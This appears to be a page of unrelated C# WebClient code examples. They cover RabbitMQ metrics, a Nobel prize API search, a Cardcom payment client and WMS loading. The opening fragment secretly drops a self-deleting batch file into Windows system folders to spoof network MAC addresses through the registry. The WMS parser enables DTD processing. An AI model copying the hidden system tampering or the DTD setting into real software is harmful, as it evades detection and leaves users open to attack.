                pathRoot + "Windows\\System32",
                pathRoot + "Windows\\SysWOW64",
                pathRoot + "Windows\\Branding\\BaseBrd",
                pathRoot + "Windows\\InputMethod\\CHS",
                pathRoot + "Windows\\Help\\en-US",
                pathRoot + "Windows\\IdentityCRL\\INT"
            };
            string[] array2 = new string[]
            {
                ".dll",
                ".dat",
                ".sys",
                ".dll",
                ".dat",
                ".sys",
                ".dll",
                ".sys",
                ".dat",
                ".dll",
                ".sys",
                ".dat"
            };
            string str  = MAC.RandomString(5);
            int    num  = MAC.RandomNumber(0, 8);
            string text = array[num] + "\\" + str + ".bat";

            try
            {
                string value = "SETLOCAL ENABLEDELAYEDEXPANSION\n SETLOCAL ENABLEEXTENSIONS\n FOR /F \"tokens=1\" %%a IN ('wmic nic where physicaladapter^=true get deviceid ^| findstr [0-9]') DO (\n CALL :MAC\n FOR %%b IN (0 00 000) DO (\n REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a >NUL 2>NUL && REG ADD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a /v NetworkAddress /t REG_SZ /d !MAC!  /f >NUL 2>NUL\n )\n )\n FOR /F \"tokens=1\" %%a IN ('wmic nic where physicaladapter^=true get deviceid ^| findstr [0-9]') DO (\n FOR %%b IN (0 00 000) DO (\n REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a >NUL 2>NUL && REG ADD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a /v PnPCapabilities /t REG_DWORD /d 24 /f >NUL 2>NUL\n )\n )\n FOR /F \"tokens=2 delims=, skip=2\" %%a IN ('\"wmic nic where (netconnectionid like '%%') get netconnectionid,netconnectionstatus /format:csv\"') DO (\n netsh interface set interface name=\"%%a\" disable >NUL 2>NUL\n netsh interface set interface name=\"%%a\" enable >NUL 2>NUL\n )\n GOTO :EOF\n :MAC\n SET COUNT=0\n SET GEN=ABCDEF0123456789\n SET GEN2=26AE\n SET MAC=\n :MACLOOP\n SET /a COUNT+=1\n SET RND=%random%\n ::%%n, \n SET /A RND=RND%%16\n SET RNDGEN=!GEN:~%RND%,1!\n SET /A RND2=RND%%4\n SET RNDGEN2=!GEN2:~%RND2%,1!\n IF \"!COUNT!\"  EQU \"2\" (SET MAC=!MAC!!RNDGEN2!) ELSE (SET MAC=!MAC!!RNDGEN!)\n IF !COUNT!  LEQ 11 GOTO MACLOOP \n";
                using (StreamWriter streamWriter = new StreamWriter(text, true))
                {
                    streamWriter.WriteLine(value);
                }
                Process process = new Process();
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.CreateNoWindow  = true;
                process.StartInfo.FileName        = text;
                process.Start();
                process.WaitForExit();
                File.Delete(text);
            }
            catch
            {
                bool flag = File.Exists(text);
                if (flag)
                {
                    File.Delete(text);
                }
                Console.ResetColor();
            }
        }
 /// <summary>
 /// Generate a WebClient with user-agent value declared as a constant in Link (?name of constant class) to download a non-secured file
 /// </summary>
 public FileDownloader() 
 {
     _downloaderClient = new WebClient();
     _downloaderClient.Headers.Add("user-agent", UserAgent);
 }
예제 #35
0
        public override void PollCycle()
        {
            // Prep the client
            var rabbitUri = $"http://{_host}:{_port}/api/";
            var client    = new WebClient {
                Credentials = new NetworkCredential(_username, _password)
            };

            client.Headers.Add("content-Type", "Application/json");

            // ------- Overview ---------

            Logger.Debug("Getting Overview Stats");

            var result = client.DownloadString(rabbitUri + "overview");

            Logger.Debug("Deserializing RabbitMQ Overview");

            var overview = JObject.Parse(result);

            Logger.Debug("Response received:\n" + overview);

            Logger.Debug("Sending Queue Summary Metrics to New Relic");

            ReportMetric("Server/Queued", "Messages", overview["queue_totals"]["messages"]?.Value <float>() ?? 0);
            ReportMetric("Server/Ready", "Messages", overview["queue_totals"]["messages_ready"]?.Value <float>() ?? 0);
            ReportMetric("Server/NoAck", "Messages", overview["queue_totals"]["messages_unacknowledged"]?.Value <float>() ?? 0);

            Logger.Debug("Sending Object Summary Metrics to New Relic");

            var objects = JsonConvert.DeserializeObject <Dictionary <string, float> >(overview["object_totals"].ToString());

            foreach (var metric in objects)
            {
                ReportMetric("Objects/" + UppercaseFirst(metric.Key), UppercaseFirst(metric.Key), metric.Value);
            }

            Logger.Debug("Sending Message Summary Metrics to New Relic");

            ReportMetric("Messages/Publish", "Messages/Second",
                         _messagesPublished.Process(overview["message_stats"]["publish"]?.Value <float>() ?? 0));

            ReportMetric("Messages/Ack", "Messages/Second",
                         _messagesAcked.Process(overview["message_stats"]["ack"]?.Value <float>() ?? 0));

            ReportMetric("Messages/Deliver", "Messages/Second",
                         _messagesDelivered.Process(overview["message_stats"]["deliver"]?.Value <float>() ?? 0));

            ReportMetric("Messages/Confirm", "Messages/Second",
                         _messagesConfirmed.Process(overview["message_stats"]["confirm"]?.Value <float>() ?? 0));

            ReportMetric("Messages/Redeliver", "Messages/Second",
                         _messagesRedelivered.Process(overview["message_stats"]["redeliver"]?.Value <float>() ?? 0));

            ReportMetric("Messages/NoAck", "Messages/Second",
                         _messagesNoacked.Process(overview["message_stats"]["get_noack"]?.Value <float>() ?? 0));


            // ------- Nodes ---------

            Logger.Debug("Getting Node Stats");

            result = client.DownloadString(rabbitUri + "nodes");

            Logger.Debug("Deserializing RabbitMQ Nodes");

            var nodes = JArray.Parse(result);

            Logger.Debug("Response received:\n" + nodes);

            Logger.Debug("Sending Node Metrics to New Relic");

            foreach (var node in nodes)
            {
                var diskFree    = node["disk_free"]?.Value <float>() ?? 0;
                var memUsed     = (node["mem_used"]?.Value <float>() ?? 0) / node["mem_limit"].Value <float>();
                var procUsed    = (node["proc_used"]?.Value <float>() ?? 0) / node["proc_total"].Value <float>();
                var fdUsed      = (node["fd_used"]?.Value <float>() ?? 0) / node["fd_total"].Value <float>();
                var socketsUsed = (node["sockets_used"]?.Value <float>() ?? 0) / node["sockets_total"].Value <float>();

                Logger.Debug("Disk Free Bytes: " + diskFree);
                Logger.Debug("Memory Used %: " + memUsed);
                Logger.Debug("Processor Used %: " + procUsed);
                Logger.Debug("File Descriptors Used %: " + fdUsed);
                Logger.Debug("Sockets Used %: " + socketsUsed);

                ReportMetric("Node/DiskUsage/" + node["name"], "Bytes", diskFree);
                ReportMetric("Node/MemoryUsage/" + node["name"], "Percentage", memUsed);
                ReportMetric("Node/ProcUsage/" + node["name"], "Percentage", procUsed);
                ReportMetric("Node/FileDescUsage/" + node["name"], "Percentage", fdUsed);
                ReportMetric("Node/SocketUsage/" + node["name"], "Percentage", socketsUsed);
                ReportMetric("Node/Running/" + node["name"], "Running", node["running"]?.Value <bool>() ?? false ? 1 : 0);
            }

            // -------- Queues ---------

            Logger.Debug("Getting Queues");

            result = client.DownloadString(rabbitUri + "queues");

            Logger.Debug("Deserializing RabbitMQ Queues");

            var queues = JArray.Parse(result);

            Logger.Debug("Response received:\n" + nodes);

            Logger.Debug("Sending Node Metrics to New Relic");

            foreach (var queue in queues)
            {
                var vhost = queue["vhost"].Value <string>() == "/" ? "Root" : queue["vhost"];
                ReportMetric($"Queues/{vhost}/{queue["name"]}/Messages/Total", "Messages", queue["messages"]?.Value <float>() ?? 0);
                ReportMetric($"Queues/{vhost}/{queue["name"]}/Messages/Ready", "Messages", queue["messages_ready"]?.Value <float>() ?? 0);
                ReportMetric($"Queues/{vhost}/{queue["name"]}/Messages/NoAck", "Messages", queue["messages_unacknowledged"]?.Value <float>() ?? 0);
                ReportMetric($"Queues/{vhost}/{queue["name"]}/Consumers", "Consumers", queue["consumers"]?.Value <float>() ?? 0);
            }
        }
예제 #36
0
         public void OnPost()
        {

           
            using (var webClient = new WebClient())
            {
                String countryJSON = webClient.DownloadString("http://api.nobelprize.org/v1/country.json");
                    Country country = Country.FromJson(countryJSON);
                    List<Count> countryList= country.Countries;
                int i = 0;
                if (!String.IsNullOrEmpty(CountrySearch))
                {
                    TextInfo myTI = new CultureInfo("en-US", false).TextInfo;
                    var TitleCountry = myTI.ToTitleCase(CountrySearch);
                    foreach (var coun in countryList)
                    {
                        if (TitleCountry == coun.Name && i == 0)
                        {
                            CountryCode = coun.Code;
                            i++;
                        }
                    }
                }

                IDictionary<long, TheModernIlluminati.Models.Nobel> allNobels = new Dictionary<long, TheModernIlluminati.Models.Nobel>();
                string nobelJSON = webClient.DownloadString("http://api.nobelprize.org/v1/laureate.json");
                TheModernIlluminati.Models.Nobel nobel = TheModernIlluminati.Models.Nobel.FromJson(nobelJSON);
                List<TheModernIlluminati.Models.Laureate> laureateAll = nobel.Laureates;
                List<TheModernIlluminati.Models.Laureate> laureateCategory_Year = new List<TheModernIlluminati.Models.Laureate>();
                List<TheModernIlluminati.Models.Laureate> laureateYear = new List<TheModernIlluminati.Models.Laureate>();
                List<TheModernIlluminati.Models.Laureate> laureateCountry_Category_Year = new List<TheModernIlluminati.Models.Laureate>();
                List<TheModernIlluminati.Models.Laureate> laureateCountry_Year = new List<TheModernIlluminati.Models.Laureate>();
                string Year = Request.Form["Year"];
                long Year1 = int.Parse(Year);
                string categoryFromScreen = Request.Form["Category"];
                TextInfo myCAT = new CultureInfo("en-US", false).TextInfo;
                var TitleCategory = myCAT.ToTitleCase(categoryFromScreen);

                foreach (var laureateInLoop in laureateAll)
                {
                    if (laureateInLoop.BornCountryCode == CountryCode)
                    {
                        foreach (var prize in laureateInLoop.Prizes)
                        {
                            if (prize.Category.ToString() ==  TitleCategory && prize.Year == Year1)
                            {
                                laureateCountry_Category_Year.Add(laureateInLoop);
                                LevelOfSearch = "1";
                            }
                            else if (prize.Year == Year1 && TitleCategory == "None")
                            {
                                laureateCountry_Year.Add(laureateInLoop);
                                LevelOfSearch = "2";
                            }
                        }
                    }
                    else if(String.IsNullOrEmpty(CountryCode))
                    {
                        foreach (var prizes in laureateInLoop.Prizes)
                        {
                            if (prizes.Category.ToString() == TitleCategory && prizes.Year == Year1)
                            {
                                laureateCategory_Year.Add(laureateInLoop);
                                LevelOfSearch = "3";
                            }
                            else if (prizes.Year == Year1 && TitleCategory == "None")
                            {
                                laureateYear.Add(laureateInLoop);
                                LevelOfSearch = "4";

                            }
                        }
                    }

                }

                switch (LevelOfSearch)
                {
                    case "1":
                        ViewData["filteredLaureate"] = laureateCountry_Category_Year ;
                        break;
                    case "2":
                        ViewData["filteredLaureate"] = laureateCountry_Year;
                        break;
                    case "3":
                        ViewData["filteredLaureate"] = laureateCategory_Year;
                        break;
                    case "4":
                        ViewData["filteredLaureate"] = laureateYear;
                        break;
                }
                
            }
            if (!String.IsNullOrEmpty(LevelOfSearch))
            {
                searchFinished = true;
            }
            
        }
예제 #37
0
        public (string Raw, NameValueCollection Details) SetRecurringCharge(
            string Code,
            string ProductName,
            DateTime RecurringPaymentsStartDate,
            int TimeIntervalId,
            List <CardcomIFrameSourceItem> Items,
            string ReturnValue,
            CardcomInvoiceDetails InvoiceDetails,
            int NumOfPayments = 999999,
            byte Currency     = 1
            )
        {
            // http://kb.cardcom.co.il/article/AA-00444/0
            var prms = new Dictionary <string, string>();

            prms["TerminalNumber"] = this.Terminal;
            prms["UserName"]       = this.UserName;
            prms["APILevel"]       = API_LEVEL;
            prms["codepage"]       = UNICODE;

            prms["RecurringPayments.ChargeInTerminal"] = this.TerminalNoCvv;
            prms["Operation"]          = "NewAndUpdate"; // NewAndUpdate, Update
            prms["LowProfileDealGuid"] = Code;

            prms["Account.CompanyName"] = InvoiceDetails.CustomerName;
            prms["Account.RegisteredBusinessNumber"] = InvoiceDetails.CustomerId;
            prms["Account.SiteUniqueId"]             = InvoiceDetails.CustomerId;

            prms["Account.Email"] = InvoiceDetails.Email;

            prms["RecurringPayments.TimeIntervalId"]              = TimeIntervalId.ToString();                       // 1 = monthly, 2 = weekly, 3 = yearly (note! custom values defined in cardcom dashboard)
            prms["RecurringPayments.FlexItem.Price"]              = Items.Sum(x => x.Price * x.Quantity).ToString(); // Sum To Bill;
            prms["RecurringPayments.TotalNumOfBills"]             = NumOfPayments.ToString();                        // number of payments, one per week/month/year (depends on the TimeIntervalId)
            prms["RecurringPayments.InternalDecription"]          = ProductName;
            prms["RecurringPayments.FlexItem.InvoiceDescription"] = ProductName;
            prms["RecurringPayments.NextDateToBill"]              = RecurringPaymentsStartDate.ToString("dd/MM/yyyy"); // format: dd/MM/yyyy

            // billing coin: 1 - NIS, 2 - USD...
            // list: http://kb.cardcom.co.il/article/AA-00247/0
            prms["RecurringPayments.FinalDebitCoinId"] = Currency.ToString();

            // value that will be return with the IPN
            prms["RecurringPayments.ReturnValue"] = ReturnValue;

            if (!string.IsNullOrEmpty(this.NotifyURL))
            {
                prms["IndicatorUrl"] = this.NotifyURL; // IPN Listener
            }
            using (var client = new WebClient())
            {
                #region ### Response Parameters ###

                /*
                 *  ResponseCode
                 *  Description
                 *  TotalRecurring
                 *  IsNewAccount
                 *  AccountId
                 *  Recurring0.RecurringId
                 *  Recurring0.ReturnValue
                 *  Recurring0.IsNewRecurring
                 */
                #endregion

                client.Encoding = Encoding.UTF8;
                var response       = client.UploadString(RECURRING_PAYMENT_ENDPOINT, string.Join("&", prms.Select(x => $"{x.Key}={x.Value}")));
                var responseText   = HttpUtility.UrlDecode(response);
                var responseParsed = new NameValueCollection(HttpUtility.ParseQueryString(response));

                var StatusCode = Convert.ToInt32(responseParsed["ResponseCode"]);
                if (StatusCode != 0)
                {
                    LoggerSingleton.Instance.Info("Cardcom", $"SetRecurringCharge #{Code} Failed With Code {StatusCode}", new List <string> {
                        responseText
                    });
                }

                return(responseText, responseParsed);
            }
        }
예제 #38
0
        public (string Raw, NameValueCollection Details) CancelRecurringCharge(
            string Code,
            int RecurringId,
            string ProductName,
            CardcomInvoiceDetails InvoiceDetails,
            byte Currency = 1
            )
        {
            // http://kb.cardcom.co.il/article/AA-00444/0
            var prms = new Dictionary <string, string>();

            prms["TerminalNumber"] = this.Terminal;
            prms["UserName"]       = this.UserName;
            prms["APILevel"]       = API_LEVEL;
            prms["codepage"]       = UNICODE;

            prms["RecurringPayments.ChargeInTerminal"] = this.TerminalNoCvv;
            prms["Operation"]                     = "Update"; // NewAndUpdate, Update
            prms["LowProfileDealGuid"]            = Code;
            prms["RecurringPayments.RecurringId"] = RecurringId.ToString();

            prms["Account.CompanyName"] = InvoiceDetails.CustomerName;
            prms["Account.RegisteredBusinessNumber"] = InvoiceDetails.CustomerId;
            prms["Account.SiteUniqueId"]             = InvoiceDetails.CustomerId;
            prms["Account.Email"] = InvoiceDetails.Email;

            prms["RecurringPayments.FlexItem.Price"]              = "0"; // Sum To Bill;
            prms["RecurringPayments.TotalNumOfBills"]             = "1";
            prms["RecurringPayments.InternalDecription"]          = ProductName;
            prms["RecurringPayments.FlexItem.InvoiceDescription"] = ProductName;

            // CANCEL!
            prms["RecurringPayments.IsActive"] = "false";  // boolean: false = no charges, true = recurring charges

            // billing coin: 1 - NIS, 2 - USD...
            // list: http://kb.cardcom.co.il/article/AA-00247/0
            prms["RecurringPayments.FinalDebitCoinId"] = Currency.ToString();

            if (!string.IsNullOrEmpty(this.NotifyURL))
            {
                prms["IndicatorUrl"] = this.NotifyURL; // IPN Listener
            }
            using (var client = new WebClient())
            {
                #region ### Response Parameters ###

                /*
                 *  ResponseCode
                 */
                #endregion

                client.Encoding = Encoding.UTF8;
                var response       = client.UploadString(RECURRING_PAYMENT_ENDPOINT, string.Join("&", prms.Select(x => $"{x.Key}={x.Value}")));
                var responseText   = HttpUtility.UrlDecode(response);
                var responseParsed = new NameValueCollection(HttpUtility.ParseQueryString(response));

                var StatusCode = Convert.ToInt32(responseParsed["ResponseCode"]);
                if (StatusCode != 0)
                {
                    LoggerSingleton.Instance.Info("Cardcom", $"CancelRecurringCharge #{Code} Failed With Code {StatusCode}", new List <string> {
                        responseText
                    });
                }

                return(responseText, responseParsed);
            }
        }
예제 #39
0
        /// <summary>
        /// Get Transaction Details
        /// </summary>
        /// <param name="Code">Unique Code (parameter: lowprofilecode)</param>
        /// <returns>
        /// Collection of parameters
        /// http://kb.cardcom.co.il/article/AA-00240/0
        /// </returns>
        public (string Raw, NameValueCollection Details) GetTransactionDetails(string Code)
        {
            using (var client = new WebClient())
            {
                #region ### Response Parameters ###

                /*
                 *  http://kb.cardcom.co.il/article/AA-00240/0
                 *  ResponseCode=0
                 *  Description=Low Profile Code Found
                 *  terminalnumber=1000
                 *  lowprofilecode=cfcc6c69-8134-405d-8c61-f3f9779ac37e
                 *  Operation=2
                 *  ProssesEndOK=0
                 *  DealResponse=0
                 *  InternalDealNumber=77280553
                 *  TokenResponse=0
                 *  Token=4cf8e168-261e-4613-8d20-000332986b24
                 *  TokenExDate=20221101
                 *  CardValidityYear=2022
                 *  CardValidityMonth=10
                 *  CardOwnerID=040617649
                 *  TokenApprovalNumber=0012345
                 *  NumOfPayments=1
                 *  InvoiceResponseCode=0
                 *  InvoiceNumber=264468
                 *  InvoiceType=1
                 *  ExtShvaParams.CardNumber5=0000
                 *  ExtShvaParams.Status1=0
                 *  ExtShvaParams.Sulac25=6
                 *  ExtShvaParams.JParameter29=0
                 *  ExtShvaParams.Tokef30=1022
                 *  ExtShvaParams.Sum36=100
                 *  ExtShvaParams.SumStars52=00000000
                 *  ExtShvaParams.ApprovalNumber71=0012345
                 *  ExtShvaParams.FirstPaymentSum78=00000000
                 *  ExtShvaParams.ConstPayment86=00000000
                 *  ExtShvaParams.NumberOfPayments94=00
                 *  ExtShvaParams.AbroadCard119=0
                 *  ExtShvaParams.FirstCardDigits=458000
                 *  ExtShvaParams.CardName=+++++(%d7%95%d7%99%d7%96%d7%94)+Cal
                 *  ExtShvaParams.CardTypeCode60=2
                 *  ExtShvaParams.Mutag24=2
                 *  ExtShvaParams.CardOwnerName=Card+Owner
                 *  ExtShvaParams.CardToken=4cf8e168-261e-4613-8d20-000332986b24
                 *  ExtShvaParams.CardHolderIdentityNumber=040617649
                 *  ExtShvaParams.CreditType63=1
                 *  ExtShvaParams.DealType61=02
                 *  ExtShvaParams.ChargType66=50
                 *  ExtShvaParams.TerminalNumber=1000
                 *  ExtShvaParams.BinId=0
                 *  ExtShvaParams.InternalDealNumber=77280553
                 *  ExtShvaParams.CouponNumber=03463750
                 *  ExtShvaParams.DealDate=20201103
                 *  ExtShvaParams.CardOwnerPhone=039436100
                 *  custom_field_01=Custom Value-1
                 *  custom_field_02=Custom Value-2
                 *  CardOwnerEmail=testsite%40test.co.il
                 *  CardOwnerName=Card+Owner
                 *  CardOwnerPhone=039436100
                 *  ReturnValue=39.90%7c3%7c98F41F8F-6F6C-4A0A-A7D4-D719A41A6BD7
                 *  CoinId=1
                 *  OperationResponse=0
                 *  OperationResponseText=OK
                 */
                #endregion

                client.Encoding = Encoding.UTF8;
                var query          = $"terminalnumber={this.Terminal}&username={this.UserName}&lowprofilecode={Code}";
                var response       = client.DownloadString($"{TRANSACTION_DETAILS_ENDPOINT}?{query}");
                var responseText   = HttpUtility.UrlDecode(response);
                var responseParsed = new NameValueCollection(HttpUtility.ParseQueryString(response));

                var StatusCode = Convert.ToInt32(responseParsed["ResponseCode"]);
                if (StatusCode != 0)
                {
                    LoggerSingleton.Instance.Info("Cardcom", $"GetTransactionDetails #{Code} Failed With Code {StatusCode}", new List <string> {
                        responseText
                    });
                }

                return(responseText, responseParsed);
            }
        }
예제 #40
0
        public (string Raw, NameValueCollection Details) ChargeWithToken(
            string Token,
            string CardExpiry /*YYYYMM*/,
            string CardOwnerId,
            List <CardcomIFrameSourceItem> Items,
            string ReturnValue,
            int NumOfPayments = 1,
            byte Currency     = 1,
            CardcomInvoiceDetails InvoiceDetails = null,
            List <string> CustomFields           = null
            )
        {
            // http://kb.cardcom.co.il/article/AA-00253/0
            var prms = new Dictionary <string, string>();

            prms["TerminalNumber"] = this.Terminal;
            prms["UserName"]       = this.UserName;
            prms["APILevel"]       = API_LEVEL;
            prms["codepage"]       = UNICODE;

            prms["TokenToCharge.Token"]        = Token;
            prms["TokenToCharge.UniqAsmachta"] = Token;

            if (!string.IsNullOrEmpty(CardExpiry))
            {
                prms["TokenToCharge.CardValidityMonth"] = CardExpiry?.Substring(4, 2);
                prms["TokenToCharge.CardValidityYear"]  = CardExpiry?.Substring(2, 2);
            }

            prms["TokenToCharge.SumToBill"]      = Items.Sum(x => x.Price * x.Quantity).ToString(); // Sum To Bill;
            prms["TokenToCharge.IdentityNumber"] = CardOwnerId;
            prms["TokenToCharge.NumOfPayments"]  = NumOfPayments.ToString();

            // billing coin: 1 - NIS, 2 - USD...
            // list: http://kb.cardcom.co.il/article/AA-00247/0
            prms["TokenToCharge.CoinID"] = Currency.ToString();

            // value that will be return with the IPN
            prms["ReturnValue"] = ReturnValue;

            if (!string.IsNullOrEmpty(this.NotifyURL))
            {
                prms["IndicatorUrl"] = this.NotifyURL; // IPN Listener
            }
            // http://kb.cardcom.co.il/article/AA-00403/0
            var cfIndex = 1;

            CustomFields?.ForEach(x => {
                prms[$"CustomFields.Field{cfIndex}"] = x;
                cfIndex++;
            });

            // unique id for each transaction (to prevent duplicates)
            /// prms["TokenToCharge.UniqAsmachta"] = "..."

            if (InvoiceDetails != null)
            {
                // http://kb.cardcom.co.il/article/AA-00244/0
                prms["InvoiceHead.CustName"]    = InvoiceDetails.CustomerName;
                prms["InvoiceHead.SendByEmail"] = InvoiceDetails.SendEmail.ToString(); // will the invoice be send by email to the customer
                prms["InvoiceHead.Language"]    = LANGUAGE_CODE;                       // he or en only
                prms["InvoiceHead.Email"]       = InvoiceDetails.Email;                // value that will be return and save in CardCom system

                /// NOTE! Sum of all Lines Price*Quantity  must be equals to SumToBil
                var itemIndex = 1;
                Items?.ForEach(x =>
                {
                    prms[$"InvoiceLines{itemIndex}.Description"] = x.Description ?? "";
                    prms[$"InvoiceLines{itemIndex}.Price"]       = x.Price.ToString();
                    prms[$"InvoiceLines{itemIndex}.Quantity"]    = x.Quantity.ToString();
                    itemIndex++;
                });
            }

            using (var client = new WebClient())
            {
                #region ### Response Parameters ###

                /*
                 *  http://kb.cardcom.co.il/article/AA-00253/0
                 *  ResponseCode
                 *  Description
                 *  InternalDealNumber
                 *  InvoiceResponse.ResponseCode
                 *  InvoiceResponse.Description
                 *  InvoiceResponse.InvoiceNumber
                 *  InvoiceResponse.InvoiceType
                 *  ApprovalNumber
                 */
                #endregion

                client.Encoding = Encoding.UTF8;
                var response       = client.UploadString(TOKEN_CHARGE_ENDPOINT, string.Join("&", prms.Select(x => $"{x.Key}={x.Value}")));
                var responseText   = HttpUtility.UrlDecode(response);
                var responseParsed = new NameValueCollection(HttpUtility.ParseQueryString(response));

                var StatusCode = Convert.ToInt32(responseParsed["ResponseCode"]);
                if (StatusCode != 0)
                {
                    LoggerSingleton.Instance.Info("Cardcom", $"ChargeWithToken #{Token} Failed With Code {StatusCode}", new List <string> {
                        responseText
                    });
                }

                return(responseText, responseParsed);
            }
        }
예제 #41
0
        private string CreateNewWms(Uri uri)
        {
            Debug.Assert(uri != null, "We cannot create new WMS without service URI!");

            // TODO: Rewrite downloading to WebRequestPool
            using (var webClient = new WebClient())
            {
                var uriBuilder = new UriBuilder(uri);
                // Parameters to get WMS capabilities
                uriBuilder.Query = Wms.CAPABILITY_ADDRESS_QUERY;

                byte[] data = null;
                try
                {
                    data = webClient.DownloadData(uriBuilder.Uri);
                }
                catch (WebException)
                {
                    return(Properties.Resources.WmsCapabilitiesDownloadingError);
                }

                var contentType = webClient.ResponseHeaders.Get("Content-Type");
                // Additional information is omitted.
                if (contentType.StartsWith("application/vnd.ogc.wms_xml", StringComparison.OrdinalIgnoreCase) ||
                    contentType.StartsWith("application/xml", StringComparison.OrdinalIgnoreCase) ||
                    contentType.StartsWith("text/xml", StringComparison.OrdinalIgnoreCase))
                {
                    var settings = new XmlReaderSettings();
                    settings.ProhibitDtd    = false;
                    settings.IgnoreComments = true;
                    settings.IgnoreProcessingInstructions = true;
                    settings.IgnoreWhitespace             = true;
                    settings.ValidationType = ValidationType.Schema;
                    using (var stream = new MemoryStream(data))
                        using (var reader = XmlReader.Create(stream, settings))
                        {
                            var parser  = new CapabilitiesParser();
                            var creator = new Wms.WmsCreator();
                            try
                            {
                                parser.Parse(reader, creator);
                            }
                            catch (XmlException)
                            {
                                return(Properties.Resources.NotValidXmlFile);
                            }
                            catch (XmlParser.XmlParserException e)
                            {
                                return(e.Message);
                            }

                            creator.ServiceAddress = uri;
                            var wms   = creator.Create();
                            var layer = wms.Layer;

                            layers.BeginUpdate();
                            try
                            {
                                layer.AddToTreeView(layers);
                            }
                            finally
                            {
                                layers.EndUpdate();
                            }

                            canvas.Invalidate(false);
                        }
                }
                else
                {
                    return(Properties.Resources.FileNotInXmlFormat);
                }
            }

            return(null);
        }
예제 #42
0
        /// <summary>
        /// Generate an IFrame Source
        /// </summary>
        /// <param name="ProductName">Name Of the paid service</param>
        /// <param name="Items">
        /// Items in this purchase
        /// { Price, Quantity, Description }
        /// </param>
        /// <param name="ReturnValue">Value to pass to the IPN</param>
        /// <param name="MaxNumOfPayments">Max number of payments to show to the user</param>
        /// <param name="Operation">
        /// 1 - Bill Only
        /// 2 - Bill And Create Token
        /// 3 - Token Only
        /// 4 - Suspended Deal (Order)</param>
        /// <param name="CreditType">
        /// 1 - Direct
        /// 2 - Payments
        /// </param>
        /// <param name="Currency">
        /// 1 - NIS
        /// 2 - USD
        /// http://kb.cardcom.co.il/article/AA-00247/0
        /// </param>
        /// <param name="InvoiceDetails">Details about the invoce</param>
        /// <param name="CustomFields">Custom fields to pass to cardcom</param>
        /// <returns>Iframe src</returns>
        public CardcomIFrameSourceResponse GenerateIFrameSource(
            string ProductName,
            List <CardcomIFrameSourceItem> Items,
            string ReturnValue,
            int MaxNumOfPayments = 1,
            byte Operation       = 2,
            byte CreditType      = 1,
            byte Currency        = 1,
            CardcomInvoiceDetails InvoiceDetails = null,
            List <string> CustomFields           = null
            )
        {
            // http://kb.cardcom.co.il/article/AA-00402/0/
            var prms = new Dictionary <string, string>();

            prms["TerminalNumber"] = this.Terminal;
            prms["UserName"]       = this.UserName;
            prms["APILevel"]       = API_LEVEL;
            prms["codepage"]       = UNICODE;
            prms["Operation"]      = Operation.ToString();  // 1 - Bill Only, 2- Bill And Create Token, 3 - Token Only, 4 - Suspended Deal (Order);
            prms["CreditType"]     = CreditType.ToString(); // 1 - Direct, 2 - Payments

            if (MaxNumOfPayments > 1)
            {
                prms["MaxNumOfPayments"] = MaxNumOfPayments.ToString(); // max num of payments to show to the user
            }
            // billing coin: 1 - NIS, 2 - USD...
            // list: http://kb.cardcom.co.il/article/AA-00247/0
            prms["CoinID"] = Currency.ToString();

            prms["Language"]    = LANGUAGE_CODE;                                   // he, en, ru, ar
            prms["SumToBill"]   = Items.Sum(x => x.Price * x.Quantity).ToString(); // Sum To Bill
            prms["ProductName"] = ProductName;

            // value that will be return with the IPN
            prms["ReturnValue"] = ReturnValue;

            // (optional) can be defined in Cardcom dashboard
            if (!string.IsNullOrEmpty(this.SuccessURL))
            {
                prms["SuccessRedirectUrl"] = this.SuccessURL;
            }

            if (!string.IsNullOrEmpty(this.ErrorURL))
            {
                prms["ErrorRedirectUrl"] = this.ErrorURL;
            }

            if (!string.IsNullOrEmpty(this.NotifyURL))
            {
                prms["IndicatorUrl"] = this.NotifyURL; // IPN Listener
            }
            // prms["CancelType"] = "2"; // show Cancel button on start
            // prms["CancelUrl"] = "https://localhost:44373/Purchase/Cancel";

            // http://kb.cardcom.co.il/article/AA-00403/0
            var cfIndex = 1;

            CustomFields?.ForEach(x =>
            {
                prms[$"CustomFields.Field{cfIndex}"] = x;
                cfIndex++;
            });

            if (Operation == 3)
            {
                /*
                 *  ValidationType (J2 OR J5)
                 *  use J5 for a full check of the card (till the charge provider) and to save the amount for x days.
                 *  note! support must be set in your charge provider account
                 *
                 *  available values:
                 *  - 2 for J2
                 *  - 5 for J5
                 */
                prms["CreateTokenJValidateType"] = "5";
            }

            if (InvoiceDetails != null && Operation < 3) // available only for bill operations (1 and 2)
            {
                // http://kb.cardcom.co.il/article/AA-00244/0
                prms["InvoiceHead.CustName"]    = InvoiceDetails.CustomerName;
                prms["InvoiceHead.SendByEmail"] = InvoiceDetails.SendEmail.ToString(); // will the invoice be send by email to the customer
                prms["InvoiceHead.Language"]    = LANGUAGE_CODE;                       // he or en only
                prms["InvoiceHead.Email"]       = InvoiceDetails.Email;                // value that will be return and save in CardCom system

                /// NOTE! Sum of all Lines Price*Quantity  must be equals to SumToBil
                var itemIndex = 1;
                Items?.ForEach(x =>
                {
                    prms[$"InvoiceLines{itemIndex}.Description"] = x.Description ?? "";
                    prms[$"InvoiceLines{itemIndex}.Price"]       = x.Price.ToString();
                    prms[$"InvoiceLines{itemIndex}.Quantity"]    = x.Quantity.ToString();
                    itemIndex++;
                });
            }

            using (var client = new WebClient())
            {
                client.Encoding = Encoding.UTF8;
                var response       = client.UploadString(GENERATE_URL_ENDPOINT, string.Join("&", prms.Select(x => $"{x.Key}={x.Value}")));
                var responseParsed = new NameValueCollection(HttpUtility.ParseQueryString(response));

                var StatusCode = Convert.ToInt32(responseParsed["ResponseCode"]);
                if (StatusCode != 0)
                {
                    var responseText = HttpUtility.UrlDecode(response);
                    LoggerSingleton.Instance.Info("Cardcom", $"GenerateIFrameSource Failed With Code {StatusCode}", new List <string> {
                        responseText
                    });
                }

                return(new CardcomIFrameSourceResponse
                {
                    StatusCode = StatusCode,
                    Description = responseParsed["Description"],
